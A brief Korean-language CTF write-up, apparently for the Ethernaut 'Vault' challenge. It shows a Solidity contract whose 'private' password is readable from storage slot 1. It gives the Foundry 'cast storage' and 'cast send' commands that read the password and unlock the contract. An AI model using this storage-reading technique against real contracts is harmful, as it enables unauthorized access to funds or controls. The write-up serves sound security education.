// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
이 문제는 블록체인에 투명성을 보여주는 문제이다. private로 선언된 변수도 블록에 기록이 되는데 블록체인 특성상 이 값을 읽을 수 있다.
변수를 선언하면 storage에 순서대로 슬롯이 할당 되는데 이 문제 같은 경우는 locked
는 슬롯 0번, password
는 슬롯 1번에 저장된다.
cast storage --rpc-url $G_RPC 0x4958fe2BBB87a9Fc0ADCA359BC263Ca281DB072E 1
foundry 명령어로 storage 슬롯을 지정하여 password
를 얻을 수 있다.
cast send --rpc-url $G_RPC --private-key $P_KEY 0x4958fe2BBB87a9Fc0ADCA359BC263Ca281DB072E "unlock(bytes32)" 0x412076657279207374726f6e67207365637265742070617373776f7264203a29